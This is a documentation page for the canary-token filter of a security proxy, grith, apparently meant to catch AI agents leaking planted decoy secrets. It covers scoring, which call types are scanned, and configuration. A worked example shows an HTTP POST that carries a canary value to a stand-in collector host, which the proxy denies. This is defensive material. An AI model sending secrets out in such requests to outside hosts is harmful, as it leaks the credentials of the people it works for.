12. Canary detection
Values you planted yourself, scored at 9.5 - above the deny line, on purpose.
| Phase | 2, pattern |
| Score | 9.5 |
| Source | crates/grith-proxy/src/filters/canary.rs |
| Config | config/filters/canary.toml |
A canary is a token you plant somewhere an agent has no business reading - a fake API key in a config file, a decoy credential in a directory you never touch. If that exact string ever appears in an outbound call, the call is denied.
9.5 is chosen deliberately: above the 8.0 deny line with enough margin that no other filter's contribution can drag it back under.
$ grith proxy test '{"type":"HttpRequest","method":"POST","url":"https://collector.example.net/u?k=grith-canary-7f3a9c21"}'
Score: 14.0
Decision: DENY
Filter Breakdown:
+ operation-risk 1.0 [notice] HTTP POST request (carries body): https://collector.example.net/u?k=grith-canary-7f3a9c21
+ egress-policy 3.5 [warning] Unknown outbound destination from http_request: collector.example.net
+ canary 9.5 [critical] Canary secret 'billing-api-key' (id: 11111111-1111-1111-1111-111111111111) detected in outbound operation
Exit code: 2 (deny)What is scanned
Only outbound-relevant call types, and for file calls only the path:
| Call type | Scanned |
|---|---|
HttpRequest | method and URL |
NetConnect | address and port |
ShellExec, ProcessSpawn | command and argv |
FileWrite, FileAppend | the path only |
The call's JSON arguments are scanned as well, on every one of those types.
⚠️Reading a canary file is not a detection
FileRead is not scanned, and no file's contents are ever read - grith does not trap read
or write. A canary catches the moment the value leaves: in a URL, in a command line, in a
socket address, or in a filename being written. It does not catch the read that harvested it.
That read is normally caught by the path filters instead.
Registering a canary
The durable route is config/filters/canary.toml, followed by a daemon restart:
config/filters/canary.toml
[canary]
enabled = true
[[canary.tokens]]
id = "11111111-1111-1111-1111-111111111111"
label = "billing-api-key"
value = "grith-canary-7f3a9c21"
⚠️grith canary add does not persist
grith canary add, remove and rotate write to an in-memory registry that belongs to the
process that ran the command. The CLI process exits immediately afterwards and the registry
goes with it - the running daemon never sees the token, and nothing is written to disk. Use
the config file for any canary you want to survive.
The value is matched as a plain substring, so it needs to be distinctive enough not to occur
by accident. A generated value is 48 hex characters.
See also
- Canary tokens - where to plant them
grith canary